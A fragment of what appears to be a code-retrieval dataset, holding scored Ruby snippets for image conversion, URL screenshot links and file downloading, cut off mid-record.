"text": "def url2png_image_url url, options = {}\n # parse size\n dim = Url2png::Dimensions.parse(options)\n\n case Url2png.mode\n when 'dummy'\n 'data:image/png;base64,\n iVBORw0KGgoAAAANSUhEUgAAAAIAAAACCAYAAABytg0kAAADHmlDQ1BJQ0MgUHJvZmlsZQAAeAGF\n VN9r01AU/tplnbDhizpnEQk+aJFuZFN0Q5y2a1e6zVrqNrchSJumbVyaxiTtfrAH2YtvOsV38Qc+\n +QcM2YNve5INxhRh+KyIIkz2IrOemzRNJ1MDufe73/nuOSfn5F6g+XFa0xQvDxRVU0/FwvzE5BTf\n 8gFeHEMr/GhNi4YWSiZHQA/Tsnnvs/MOHsZsdO5v36v+Y9WalQwR8BwgvpQ1xCLhWaBpXNR0E+DW\n ie+dMTXCzUxzWKcECR9nOG9jgeGMjSOWZjQ1QJoJwgfFQjpLuEA4mGng8w3YzoEU5CcmqZIuizyr\n RVIv5WRFsgz28B9zg/JfsKiU6Zut5xCNbZoZTtF8it4fOX1wjOYA1cE/Xxi9QbidcFg246M1fkLN\n JK4RJr3n7nRpmO1lmpdZKRIlHCS8YlSuM2xp5gsDiZrm0+30UJKwnzS/NDNZ8+PtUJUE6zHF9fZL\n RvS6vdfbkZMH4zU+pynWf0D+vff1corleZLw67QejdX0W5I6Vtvb5M2mI8PEd1E/A0hCgo4cZCjg\n kUIMYZpjxKr4TBYZIkqk0ml0VHmyONY7KJOW7RxHeMlfDrheFvVbsrj24Pue3SXXjrwVhcW3o9hR\n 7bWB6bqyE5obf3VhpaNu4Te55ZsbbasLCFH+iuWxSF5lyk+CUdd1NuaQU5f8dQvPMpTuJXYSWAy6\n rPBe+CpsCk+FF8KXv9TIzt6tEcuAcSw+q55TzcbsJdJM0utkuL+K9ULGGPmQMUNanb4kTZyKOfLa\n UAsnBneC6+biXC/XB567zF3h+rkIrS5yI47CF/VFfCHwvjO+Pl+3b4hhp9u+02TrozFa67vTkbqi\n sXqUj9sn9j2OqhMZsrG+sX5WCCu0omNqSrN0TwADJW1Ol/MFk+8RhAt8iK4tiY+rYleQTysKb5kM\n XpcMSa9I2S6wO4/tA7ZT1l3maV9zOfMqcOkb/cPrLjdVBl4ZwNFzLhegM3XkCbB8XizrFdsfPJ63\n gJE722OtPW1huos+VqvbdC5bHgG7D6vVn8+q1d3n5H8LeKP8BqkjCtbCoV8yAAAACXBIWXMAAAsT\n AAALEwEAmpwYAAABbmlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPHg6eG1wbWV0YSB4bWxuczp4\n PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iWE1QIENvcmUgNC40LjAiPgogICA8cmRmOlJERiB4\n bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPgog\n ICAgICA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIgogICAgICAgICAgICB4bWxuczpkYz0i\n aHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEuMS8iPgogICAgICAgICA8ZGM6c3ViamVjdD4K\n ICAgICAgICAgICAgPHJkZjpCYWcvPgogICAgICAgICA8L2RjOnN1YmplY3Q+CiAgICAgIDwvcmRm\n OkRlc2NyaXB0aW9uPgogICA8L3JkZjpSREY+CjwveDp4bXBtZXRhPgrlPw1BAAAAFElEQVQIHWM8\n fPjwfwYgYAIRIAAAMrgDTJyW2igAAAAASUVORK5CYII='.gsub(/\\n/,'')\n\n when 'placehold'\n \"https://via.placeholder.com/#{ dim[:size] }\"\n\n else\n # build parameters portion of URL\n case Url2png.api_version\n when 'v6'\n ######\n # v6 #\n # http://api.url2png.com/v6/<APIKEY>/<TOKEN>/png/?url=google.com\n ######\n\n # check for unavailable options\n options_alias = [:max_width, :max_height]\n options_available = [:accept_languages, :custom_css_url, :delay, :force, :format, :fullpage, :say_cheese, :thumbnail_max_height, :thumbnail_max_width, :ttl, :unique, :user_agent, :viewport] \n\n # assign alias to valid option\n options_alias.each do |key|\n if options.key?(key)\n case key\n # when :size\n # options[:thumbnail_max_width] = options[:size].split('x')[0] if options[:thumbnail_max_width].nil?\n # options[:thumbnail_max_height] = options[:size].split('x')[1] if options[:thumbnail_max_height].nil?\n when :max_width\n options[:thumbnail_max_width] = options[key] if options[:thumbnail_max_width].nil?\n options.delete(key)\n when :max_height\n options[:thumbnail_max_height] = options[key] if options[:thumbnail_max_height].nil?\n options.delete(key)\n end\n end\n end\n\n options = check_options(options, options_available)\n\n # add url to options query\n options[:url] = url\n\n\n query_string = options.\n sort_by {|s| s[0].to_s }. # sort query by keys for uniformity\n select {|s| s[1] }. # skip empty options\n map {|s| s.map {|v| CGI::escape(v.to_s) }.join('=') }. # escape keys & vals\n join('&')\n\n # generate token\n token = Url2png.token query_string\n\n # set the format of the asset requested\n format = options[:format] || \"png\"\n \"#{ Url2png.api_url }/v6/#{Url2png.api_key}/#{token}/#{format}/?#{query_string}\"\n\n when 'v4'\n ######\n # v4 #\n # http://beta.url2png.com/v4/<APIKEY>/<TOKEN>/<VIEWPORT>-<THUMBNAIL>-<FULL>/<TARGET>\n ######\n\n # check for unavailable options\n options_available = [:size, :thumbnail, :browser_size, :delay, :fullscreen]\n options = check_options(options, options_available)\n\n # escape the url\n safe_url= CGI::escape(url)\n\n # generate token\n token = Url2png.token safe_url\n\n # build options portion of URL\n url_options = []\n\n # set thumbnail\n options[:thumbnail] ||= options[:size]\n\n url_options << \"t#{ options[:thumbnail] }\"\n url_options << \"s#{ options[:browser_size] }\" if options[:browser_size]\n url_options << \"d#{ options[:delay] }\" if options[:delay]\n url_options << \"FULL\" if options[:fullscreen]\n url_options_string = url_options.join('-')\n\n # build image url\n File.join(\n \"#{Url2png.api_url}\",\n Url2png.api_version,\n Url2png.api_key,\n token,\n url_options_string,\n safe_url\n )\n\n when 'v3'\n ######\n # v3 #\n ######\n\n # http://api.url2png.com/v3/api_key/security_hash/bounds/url\n\n options_available = [:fullscreen, :size]\n options = check_options(options, options_available)\n\n # escape the url\n safe_url= CGI::escape(url)\n\n # generate token\n token = Url2png.token safe_url\n\n # custom size or default_size\n size = options[:size] || Url2png.default_size\n\n # build options portion of URL\n if options[:fullscreen]\n bounds = \"FULL\"\n else\n bounds = size\n end\n\n # build image url\n File.join(\n \"#{Url2png.api_url}\",\n Url2png.api_version,\n Url2png.api_key,\n token,\n bounds,\n safe_url\n )\n end\n\n end\n end",
"title": ""
},
{
"docid": "3bfeb00e780d6c84b77201f99392cc50",
"score": "0.528354",
"text": "def convert(src, dst, src_in_local, dst_in_local, is_url, options=nil, storage_name=nil)\r\n if src_in_local\r\n res = @storage_api.upload_file(\"/\", src)\r\n if res.uploaded.length != 1 || res.errors.length != 0\r\n fail ApiError.new('Unable to upload file')\r\n end\r\n file_in_storage = res.uploaded[0]\r\n else\r\n file_in_storage = src\r\n end\r\n\r\n out_file = File.basename(dst)\r\n out_file = dst unless dst_in_local\r\n\r\n input_format = 'html'\r\n input_format = get_input_format(src) unless is_url\r\n\r\n output_format = File.extname(dst).strip.downcase[1..-1]\r\n\r\n if output_format == 'jpg'\r\n output_format = 'jpeg'\r\n elsif output_format == 'mht'\r\n output_format = 'mhtml'\r\n elsif output_format == 'tif'\r\n output_format = 'tiff'\r\n end\r\n\r\n local_var_path = \"/html/conversion/{from}-{to}\".sub('{' + 'from' + '}', input_format.to_s).sub('{' + 'to' + '}', output_format.to_s)\r\n\r\n post_body = {}\r\n post_body[:'inputPath'] = file_in_storage.to_s\r\n post_body[:'outputFile'] = out_file.to_s\r\n post_body[:'storageName'] = storage_name.to_s\r\n\r\n unless options.nil?\r\n post_body[:'options'] = {}\r\n post_body[:'options'][:'width'] = options[:'width'] unless options[:'width'].nil?\r\n post_body[:'options'][:'height'] = options[:'height'] unless options[:'height'].nil?\r\n post_body[:'options'][:'leftMargin'] = options[:'left_margin'] unless options[:'left_margin'].nil?\r\n post_body[:'options'][:'rightMargin'] = options[:'right_margin'] unless options[:'right_margin'].nil?\r\n post_body[:'options'][:'topMargin'] = options[:'top_margin'] unless options[:'top_margin'].nil?\r\n post_body[:'options'][:'bottomMargin'] = options[:'bottom_margin'] unless options[:'bottom_margin'].nil?\r\n post_body[:'options'][:'resolution'] = options[:'resolution'] unless options[:'resolution'].nil?\r\n post_body[:'options'][:'background'] = options[:'background'] unless options[:'background'].nil?\r\n post_body[:'options'][:'jpegquality'] = options[:'jpeg_quality'] unless options[:'jpeg_quality'].nil?\r\n post_body[:'options'][:'usegit'] = options[:'use_git'] unless options[:'use_git'].nil?\r\n post_body[:'options'][:'error_threshold'] = options[:'error_threshold'] unless options[:'error_threshold'].nil?\r\n post_body[:'options'][:'max_iterations'] = options[:'max_iterations'] unless options[:'max_iterations'].nil?\r\n post_body[:'options'][:'colors_limit'] = options[:'colors_limit'] unless options[:'colors_limit'].nil?\r\n post_body[:'options'][:'line_width'] = options[:'line_width'] unless options[:'line_width'].nil?\r\n end\r\n\r\n query_params = {}\r\n\r\n # header parameters\r\n header_params = {}\r\n # HTTP header 'Accept' (if needed)\r\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\r\n # HTTP header 'Content-Type'\r\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\r\n\r\n # form parameters\r\n form_params = {}\r\n\r\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\r\n :header_params => header_params,\r\n :query_params => query_params,\r\n :form_params => form_params,\r\n :body => post_body,\r\n :return_type => 'OperationResult')\r\n if @api_client.config.debug\r\n @api_client.config.logger.debug \"API called: Create task\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\r\n end\r\n\r\n if status_code != 200\r\n fail ApiError.new('Conversion failed')\r\n end\r\n\r\n while true\r\n data, status_code, headers = get_status(data.id)\r\n fail ApiError.new('Conversion failed') if data.code != 200 or data.status == 'faulted' or data.status == 'canceled'\r\n break if data.status == 'completed'\r\n sleep 3\r\n end\r\n\r\n if dst_in_local\r\n out_folder = File.dirname(dst)\r\n d = @storage_api.download_file(data.file)\r\n out_name = out_folder + '/' + File.basename(data.file)\r\n File.rename(d, out_name)\r\n data.file = out_name\r\n end\r\n\r\n data\r\n end",
"title": ""
},
{
"docid": "0f12986607c3120d67e847a77b43f374",
"score": "0.5270368",
"text": "def download_image!(image_url)\n # lazy load libraries\n require 'zlib'\n require 'securerandom'\n require 'rubygems/package'\n\n file_with_ext = File.basename(image_url)\n extract_path = \"/tmp/ankus-downloads-#{SecureRandom.hex}\"\n file_name = case file_with_ext\n when /\\.tar\\.gz$/\n File.basename(file_with_ext, '.tar.gz')\n when /\\.tar$/\n File.basename(file_with_ext, '.tar')\n else\n File.basename(file_with_ext, '.*')\n end\n out = File.open(\"/tmp/#{file_name}-#{SecureRandom.hex}\", 'wb')\n\n FileUtils.mkdir_p extract_path\n\n # Efficient image write\n @log.info \"Downloading #{file_with_ext} file...\"\n streamer = lambda do |chunk, _, _|\n out.write chunk\n end\n Excon.get image_url, :response_block => streamer\n out.close\n @log.info \"Image downloaded to #{out.path}\"\n\n @log.info \"Extracting image contents to #{extract_path}...\"\n packaged_files = []\n Gem::Package::TarReader.new(Zlib::GzipReader.open(out.path)).each do |entry|\n FileUtils.mkdir_p \"#{extract_path}/#{File.dirname(entry.full_name)}\"\n packaged_files << entry.full_name\n File.open \"#{extract_path}/#{entry.full_name}\", 'w' do |f|\n f.write entry.read\n end\n end\n end",
"title": ""
},
{
"docid": "efc279a84b9e01a351c93bf21af5ab81",
"score": "0.526121",
"text": "def convertFileToFile(file, file_path)\n if (!(!file_path.nil? && !file_path.empty?))\n raise Error.new(Pdfcrowd.create_invalid_value_message(file_path, \"convertFileToFile::file_path\", \"image-to-pdf\", \"The string must not be empty.\", \"convert_file_to_file\"), 470);\n end\n \n output_file = open(file_path, \"wb\")\n begin\n convertFileToStream(file, output_file)\n output_file.close()\n rescue Error => why\n output_file.close()\n FileUtils.rm(file_path)\n raise\n end\n end",
"title": ""
},
{
"docid": "16ccf56cfad0fd02bdb9e21f2a9d8fd3",
"score": "0.5259785",
"text": "def write(output_to)\n case output_to\n when String, Pathname\n if layer?\n MiniMagick::Tool::Convert.new do |builder|\n builder << path\n builder << output_to\n end\n else\n FileUtils.copy_file path, output_to unless path == output_to.to_s\n end\n else\n IO.copy_stream File.open(path, \"rb\"), output_to\n end\n end",
"title": ""
},
{
"docid": "11f271182d2fc39ee24fab0b102352ae",
"score": "0.5218894",
"text": "def download_file(url)\n\t\t\tf = Tempfile.new(File.basename(url))\n\t\t\tpath = f.path\n\t\t\turl = URI.parse(url)\n\t\t\tNet::HTTP.start( url.host) { |http|\n\t\t\t\tresp = http.get(url.path)\n\t\t\t\tf.write(resp.body)\n\t\t\t}\n\t\t\tf.close\n\t\t\treturn path\n\t\tend",
"title": ""
},
{
"docid": "d71e4e78d55cc56062886430338dd666",
"score": "0.51986563",
"text": "def image_from_url(url)\n self.image = open(url)\n self.direct_upload_url = \"none\"\n end",
"title": ""
},
{
"docid": "fca4c8286203c97cdf62dc1a190fcece",
"score": "0.51966393",
"text": "def url=(url)\n extension = File.extname(url)\n file = Tempfile.new([\"\", extension])\n file.binmode\n file << open(url).read\n self.assign(file)\n end",
"title": ""
},
{
"docid": "92153c53351e668b9968de1534313f7b",
"score": "0.51961714",
"text": "def download_file(url, dest)\n if File.exist?(dest)\n say \"File already downloaded #{dest}\"\n return dest\n end\n\n say \"Downloading...\"\n FileUtils.mkdir_p(File.dirname(dest)) # ensure parent folder exists\n\n File.open(dest, 'wb') do |saved_file|\n URI.open(url, 'rb') do |read_file|\n saved_file.write(read_file.read)\n end\n end\n dest\n end",
"title": ""
},
{
"docid": "50b0ec4c72c21720a5ebab2a02aad79a",
"score": "0.518484",
"text": "def download_and_save_file(url, path)\n options = {}\n\n proxy = ENV['http_proxy'] || ENV['HTTP_PROXY']\n if proxy\n uri = URI.parse(proxy)\n proxy_host = uri.scheme + \"://\" + uri.host + \":\" + uri.port.to_s\n proxy_user, proxy_pass = uri.userinfo.split(/:/) if uri.userinfo\n options[:proxy_http_basic_authentication] = [proxy_host,proxy_user,proxy_pass]\n end\n\n open_and_save_file(path, open(url, options).read)\nend",
"title": ""
},
{
"docid": "f6af2b3d45087112d77bfc099099997c",
"score": "0.5162962",
"text": "def store_image\n uri = URI.parse(profile_image_url)\n Net::HTTP.start(uri.host, uri.port) do |http|\n resp = http.get(uri.path)\n open(image_path, \"wb\") do |file|\n file.write(resp.body)\n end\n end\n end",
"title": ""
},
{
"docid": "fe6cbdc610f4495f416da70d15b622af",
"score": "0.51598567",
"text": "def convert_file(file_name, from_format, to_format)\n begin\n from_file_name = Rails.root.join('public', 'uploads', request.remote_ip, file_name)\n to_file_name = Rails.root.join('public', 'uploads', request.remote_ip, file_name.gsub(from_format, to_format))\n #Read the uploaded image from the disk\n from_image = Image.read(from_file_name).first\n #Copy the image into a new variable\n to_image = from_image.copy\n #Change the format for the selected by user\n to_image.format = to_format[1..3].upcase\n #Write the copied image with the new format into the user temporal folder\n to_image.write(to_file_name)\n rescue Exception => e\n raise\n end\n end",
"title": ""
},
{
"docid": "aa549e17a859c67fa96efa010aea8c18",
"score": "0.51477414",
"text": "def download_image(image)\r\n dir = File.join(@dirs[:content], image.rel_path)\r\n img = MiniMagick::Image.open(image.uri.to_s)\r\n img.combine_options(:mogrify) do |c|\r\n c.type \"optimize\"\r\n c.colorspace \"Gray\"\r\n c.quality 60\r\n c.resize '450x550>'\r\n end\r\n img.write dir\r\n end",
"title": ""
},
{
"docid": "4c9f9bf369b6a0a376507a3020b32a3b",
"score": "0.5129964",
"text": "def write( path )\n base_image.write( path )\n end",
"title": ""
},
{
"docid": "0ee665bc3255c2ba37549fc3b44aa6f2",
"score": "0.5109188",
"text": "def export(filename)\n @image.save(filename, interlace: true)\n end",
"title": ""
},
{
"docid": "e0b3da575c69ece8fb19e2761b80c593",
"score": "0.5099538",
"text": "def save_image_from_url(url)\n save_instagram_load(fetch_image_by_id(retrieve_oembed_data_from_url(url).fields[\"media_id\"]))\n end",
"title": ""
},
{
"docid": "97e5c4b463787e1c81632c37cdf56fa2",
"score": "0.50944114",
"text": "def convertFile(file)\n if (!(File.file?(file) && !File.zero?(file)))\n raise Error.new(Pdfcrowd.create_invalid_value_message(file, \"convertFile\", \"html-to-image\", \"The file must exist and not be empty.\", \"convert_file\"), 470);\n end\n \n @files['file'] = file\n @helper.post(@fields, @files, @raw_data)\n end",
"title": ""
},
{
"docid": "1ee12ba4dbd65d0cee0b60aaccaa3111",
"score": "0.50896615",
"text": "def by_http(url, destination_path)\n begin\n open(url, :allow_redirections => :safe) do |input|\n if @accepted_content_types.include?(input.content_type)\n\n if File.exists?(destination_path)\n return destination_path\n else\n file = File.open(destination_path, 'wb') do |output|\n output << input.read\n end\n return file.path\n end\n else\n # need to send this to the logger at some point\n #logger.error \"Content type for #{url} not accepted by this downloader instance.\"\n puts \"[FileDownloader] Content type for #{url} not accepted by this downloader instance.\"\n return nil\n end\n end\n rescue Errno::ENOENT\n puts \"[FileDownloader] Can't open file for writing\"\n return nil\n rescue Exception => e\n puts \"[FileDownloader] Couldn't retrieve file #{url} due to an error: #{e.to_s}\"\n return nil\n end\n end",
"title": ""
},
{
"docid": "ee843ab8d04d0d658f0768780a098d62",
"score": "0.5086932",
"text": "def to_jpeg(path, options = {})\n return raise Exceptions::InvalidFileFormatError unless valid_output_format?(path, 'jpeg')\n screenshot(path, 'jpeg', options)\n end",
"title": ""
},
{
"docid": "b9760debcbd970870cc282fd2bf406b3",
"score": "0.5081008",
"text": "def save_to_file image\n File.open('uml.png', 'wb') do |file|\n file << image.body\n end if image\n end",
"title": ""
},
{
"docid": "1135f5fada6a6352efe10381a9a43750",
"score": "0.50777894",
"text": "def convertStreamToFile(in_stream, file_path)\n if (!(!file_path.nil? && !file_path.empty?))\n raise Error.new(Pdfcrowd.create_invalid_value_message(file_path, \"convertStreamToFile::file_path\", \"html-to-image\", \"The string must not be empty.\", \"convert_stream_to_file\"), 470);\n end\n \n output_file = open(file_path, \"wb\")\n begin\n convertStreamToStream(in_stream, output_file)\n output_file.close()\n rescue Error => why\n output_file.close()\n FileUtils.rm(file_path)\n raise\n end\n end",
"title": ""
},
{
"docid": "b1340c76fa65df93bde604db71ebccd5",
"score": "0.50571996",
"text": "def add_file_from_url(url, skip_file_characterisation)\n valid_file=false\n file = fetch_file_from_url(url)\n if (file)\n add_file(file, skip_file_characterisation)\n else\n false\n end\n end",
"title": ""
},
{
"docid": "5dcc2d6d2e6695963bf9a9e3b4231069",
"score": "0.5046678",
"text": "def write(output_path)\n FileUtils.copy_file @path, output_path\n run_command \"identify\", output_path # Verify that we have a good image\n end",
"title": ""
},
{
"docid": "8ab0719e9a10b1e015519d6a0aab3dd9",
"score": "0.5046114",
"text": "def download(source_uri, destination, image_bounds, config)\n # don't re-download if the file already exists locally\n prefix = config[:pretend] ? '[pretend] ' : ''\n unless File.exists? destination\n begin\n unless config[:pretend]\n config[:logger].info {prefix + \"downloading #{source_uri} to #{destination}\"}\n system(\"mkdir -p \\\"#{File.dirname(destination)}\\\"\")\n plugin_send(:pre_download, destination, config)\n File.open(destination, \"wb\") {|f| f.write(open(source_uri).read)}\n image_bounds.resize destination\n image_bounds.fill_to destination\n plugin_send(:post_download, destination, config)\n end\n rescue => eMsg\n config[:logger].warn {prefix + \"Unable to download #{destination} - #{eMsg.to_s}\"}\n config[:logger].debug {eMsg.backtrace.join(\"\\n\")}\n # something bad happened, so cleanup the partially written local image file if it exists\n File.delete destination if File.exists? destination\n plugin_send(:on_download_error, destination, config)\n end\n else\n config[:logger].info {prefix + \"Skipping #{source_uri} => #{destination}\"}\n end\n end",
"title": ""
},
{
"docid": "768fc7ac644be67f2df82593427352f6",
"score": "0.5046056",
"text": "def convert_jpg_to_png(img_path)\n print_status(\"Converting #{img_path} back to PNG\")\n basename = File.basename(img_path, '.jpg')\n img = MiniMagick::Image.open(img_path)\n img.format('PNG')\n dst = \"#{WORKFOLDER}/#{basename}.png\"\n img.write(dst)\n dst\nend",
"title": ""
},
{
"docid": "c8178b0da3d493dae80d8d9fc30eda40",
"score": "0.50417864",
"text": "def download_image(src_url,dest_path)\n content_type = http_content_type(src_url)\n content_type = content_type.gsub(\"image/\", \"\")\n content_type = content_type.gsub(\"pjpeg\",\"jpg\")\n content_type = content_type.gsub(\"jpeg\",\"jpg\")\n vortex_url = download_resource(src_url,dest_path,content_type)\n return vortex_url\nend",
"title": ""
},
{
"docid": "bd2049ddb326cc1bd5a746ec1fbdeff4",
"score": "0.5039561",
"text": "def generate_png\n img = IMGKit.new(url).to_png\n file = File.new(\"#{id}-full.png\", \"w\", :encoding => 'ascii-8bit')\n file.write(img)\n return file.path\n end",
"title": ""
},
{
"docid": "1b54861b8b52afeae3005263556ebba8",
"score": "0.5038042",
"text": "def download!(source_url, destination_file); end",
"title": ""
},
{
"docid": "9159679cd6f4e043708fc8e970497fe3",
"score": "0.50379276",
"text": "def save_image_as_and_upload_to_storage\n puts('Export an image to another format and upload to cloud storage')\n\n upload_sample_image_to_cloud\n\n # Please refer to\n # https://docs.aspose.cloud/display/imagingcloud/Supported+File+Formats#SupportedFileFormats-Export(SaveAs)\n # for possible output formats\n format = 'pdf' # Resulting image format\n folder = ImagingBase::CLOUD_PATH # Input file is saved at the Examples folder in the storage\n storage = nil # We are using default Cloud Storage\n\n request = AsposeImagingCloud::ConvertImageRequest.new(get_sample_image_file_name, format, folder, storage)\n\n puts(\"Call ExportImage with params: format: #{format}\")\n\n updated_image = @imaging_api.convert_image(request)\n upload_image_to_cloud(get_modified_sample_image_file_name(false, format), updated_image)\n puts\n end",
"title": ""
},
{
"docid": "1c30aa69c865b994b96f558799500ed2",
"score": "0.50057054",
"text": "def write_out(path = nil)\n return img unless path\n FileUtils.mkdir_p File.dirname(path)\n img.write(path)\n path\n rescue Errno::ENOENT\n puts_and_exit(\"Path not found '#{path}'\")\n end",
"title": ""
},
{
"docid": "e07ac341f98eafbb3f38c41c7af6bbd8",
"score": "0.5005086",
"text": "def write_file!\n file = File.new( path, \"w\")\n \n file.write(@source)\n file.close\n end",
"title": ""
},
{
"docid": "9f3de2b6ed09e04e3d425cf2bcee44dd",
"score": "0.50008243",
"text": "def create_file_from_url(url, file_name)\n ::GenericFile.new(import_url: url, label: file_name).tap do |gf|\n actor = Sufia::GenericFile::Actor.new(gf, current_user)\n actor.create_metadata(params[:batch_id])\n gf.save!\n Sufia.queue.push(ImportUrlJob.new(gf.id))\n end\n end",
"title": ""
},
{
"docid": "26addf7f766fe07af8007d44e9f845b2",
"score": "0.49982503",
"text": "def download\n path.dirname.mkpath\n\n case io = open(url)\n when StringIO\n begin\n exact_path.open('w', 0o755) { |fd| fd.write(io) }\n rescue StandardError\n exact_path.unlink if exact_path.exist?\n raise\n end\n when Tempfile\n io.close\n iopath = Pathname.new(io.path)\n iopath.chmod(0o755)\n iopath.rename exact_path\n end\n\n path.delete if path.symlink?\n path.make_symlink exact_path\n end",
"title": ""
},
{
"docid": "b8475c0109a10cc2922e1ee824cc2231",
"score": "0.49970403",
"text": "def convertFile(file)\n if (!(File.file?(file) && !File.zero?(file)))\n raise Error.new(Pdfcrowd.create_invalid_value_message(file, \"convertFile\", \"image-to-image\", \"The file must exist and not be empty.\", \"convert_file\"), 470);\n end\n \n @files['file'] = file\n @helper.post(@fields, @files, @raw_data)\n end",
"title": ""
},
{
"docid": "d61c2d6d782aff07bc74a71d1f8861ec",
"score": "0.49858078",
"text": "def save2file(path)\n File.write(path, save2blob())\n end",
"title": ""
},
{
"docid": "b9ffa6ff0c2ce3b7042ca12df236c574",
"score": "0.496589",
"text": "def copy_image_locally(img)\n begin\n # if an image is stored on typepad servers, copy it locally\n if img =~ /typepad/\n open(\"public/images/\" << img.gsub(@base.gsub(\"weblog\",\"\"), \"\").gsub(\".a/\", \"\") << \".jpg\",\"w\").write(open(img).read)\n # update the link in the content\n update_image_source(img)\n end\n rescue\n puts \"was not able to capture \" << img << \" locally\"\n end\n end",
"title": ""
},
{
"docid": "47a2305a077ad5b2b16bbadb5a1049c4",
"score": "0.49628192",
"text": "def convertStreamToFile(in_stream, file_path)\n if (!(!file_path.nil? && !file_path.empty?))\n raise Error.new(Pdfcrowd.create_invalid_value_message(file_path, \"convertStreamToFile::file_path\", \"image-to-image\", \"The string must not be empty.\", \"convert_stream_to_file\"), 470);\n end\n \n output_file = open(file_path, \"wb\")\n begin\n convertStreamToStream(in_stream, output_file)\n output_file.close()\n rescue Error => why\n output_file.close()\n FileUtils.rm(file_path)\n raise\n end\n end",
"title": ""
},
{
"docid": "2f87f585eff0deef4b8730d0969519f4",
"score": "0.49516177",
"text": "def convertFileToStream(file, out_stream)\n if (!(File.file?(file) && !File.zero?(file)))\n raise Error.new(Pdfcrowd.create_invalid_value_message(file, \"convertFileToStream::file\", \"html-to-image\", \"The file must exist and not be empty.\", \"convert_file_to_stream\"), 470);\n end\n \n @files['file'] = file\n @helper.post(@fields, @files, @raw_data, out_stream)\n end",
"title": ""
},
{
"docid": "7f02dcf516b6048ea9870319e9aae908",
"score": "0.4948734",
"text": "def put_jpeg_url image, url, url_name = url\n item = [\n [Pasteboard::Type::JPEG, image],\n [Pasteboard::Type::URL, url],\n [Pasteboard::Type::URL_NAME, url_name],\n [Pasteboard::Type::UTF_8, url],\n ]\n\n put item\n end",
"title": ""
},
{
"docid": "dfb89349ce6ab7a48858502fbdc02a8d",
"score": "0.49470758",
"text": "def save_as( url, dest )\n\t\tself.out \"save_as\"\n\t\tto = @code + dest\n\t\tself.out \" :#{to}\"\n\t\t#if !@isTest\n\t\t\t# If file exists - for saving resource of HD\n\t\t\t# we delete it - we don't need copies \n\t\t\tif File.exist? to\n\t\t\t\tFile.delete to\n\t\t\tend\n\t\t\t# Save as - use HTTP.GET\n\t\t\t@agent.get( url ).save_as to\n\t\t#end\n\t\tself.out \" #{url} to #{dest}\"\n\tend",
"title": ""
},
{
"docid": "580f507b2b35d27fbf378c127e4058b5",
"score": "0.4938881",
"text": "def download_file_to_tempdir(url)\n tmpdir = Pathname(Dir.mktmpdir(\"razor-repo-#{filesystem_safe_name}-download\"))\n filename = tmpdir + Pathname(url.path).basename\n\n result = url.open\n unless result.is_a?(File)\n # Create Tempfile to converge code flow.\n tmpfile = Tempfile.new filename.to_s\n tmpfile.binmode\n tmpfile << result.read\n result = tmpfile\n end\n begin\n # Try and get our data out to disk safely before we consider the\n # write completed. That way a crash won't leak partial state, given\n # our database does try and be this conservative too.\n begin\n result.flush\n result.respond_to?('fdatasync') ? result.fdatasync : result.fsync\n rescue NotImplementedError\n # This signals that neither fdatasync nor fsync could be used on\n # this IO, which we can politely ignore, because what the heck can\n # we do anyhow?\n end\n FileUtils.mv(result, filename)\n ensure\n result.close\n end\n\n # Downloading was successful, so save our temporary directory for later\n # cleanup, and return the path of the file.\n self.tmpdir = tmpdir\n self.save\n\n return filename.to_s\n\n rescue Exception => e\n # Try our best to remove the directory, but don't let that stop the rest\n # of the recovery process from proceeding. This might leak files on\n # disk, but in that case there is little else that we could do to\n # resolve the situation -- we already tried to delete the file/dir...\n FileUtils.remove_entry_secure(tmpdir, true)\n raise e\n end",
"title": ""
},
{
"docid": "e5882a3ac70dfc49904d3524c0dd417f",
"score": "0.49329844",
"text": "def jpeg_file(path, *args)\n File.open(path, 'wb') do |f|\n jpeg(f, *args)\n end\n end",
"title": ""
},
{
"docid": "dfdbc27939113b2cc2063a55592eddd8",
"score": "0.49265346",
"text": "def download_resource(url, path)\n FileUtils.mkdir_p File.dirname(path)\n the_uri = URI.parse(URI.escape(url))\n if the_uri\n data = html_get the_uri\n File.open(path, 'wb') { |f| f.write(data) } if data\n end\n end",
"title": ""
},
{
"docid": "fd3c7c21c245a15cf2c9a6225e059a6b",
"score": "0.4915975",
"text": "def convert_local_file input_file, output_filename, output_format\n begin\n\n raise('input file not specified') if input_file.empty?\n raise('output file not specified') if output_filename.empty?\n raise('output format not specified') if output_format.empty?\n\n str_uri = $product_uri + '/words/convert?format=' + output_format\n str_signed_uri = Aspose::Cloud::Common::Utils.sign(str_uri)\n\n response_stream = Aspose::Cloud::Common::Utils.upload_file_binary(input_file, str_signed_uri)\n\n valid_output = Aspose::Cloud::Common::Utils.validate_output(response_stream)\n\n return valid_output unless valid_output.empty?\n\n output_path = $out_put_location + output_filename\n Aspose::Cloud::Common::Utils.save_file(response_stream, output_path)\n ''\n rescue Exception => e\n print e\n end\n end",
"title": ""
},
{
"docid": "f7f94cc2a5c6e46f25e7fd2ad92397b4",
"score": "0.49036825",
"text": "def make\n src = @file\n dst = Tempfile.new([@basename, @format ? \".#{@format}\" : ''])\n dst.binmode\n\n begin\n parameters = []\n parameters << source_file_options\n parameters << \":source\"\n parameters << transformation_command\n parameters << convert_options\n parameters << \":dest\"\n\n parameters = parameters.flatten.compact.join(\" \").strip.squeeze(\" \")\n\n success = Paperclip.run(\"convert\", parameters, :source => \"#{File.expand_path(src.path)}\", :dest => File.expand_path(dst.path))\n rescue Exception => e\n error_details = \"#{e.class}: #{e}\"\n error_details += \"\\n#{e.backtrace.join(\"\\n\")}\" if e.backtrace\n\n p \"ERROR: #{error_details}\"\n \n raise \"There was an error processing the thumbnail for #{@basename}\" if @whiny\n end\n\n dst\n end",
"title": ""
},
{
"docid": "8f4cdfdfa1c85d1523bc3e77b7c4a69b",
"score": "0.49026898",
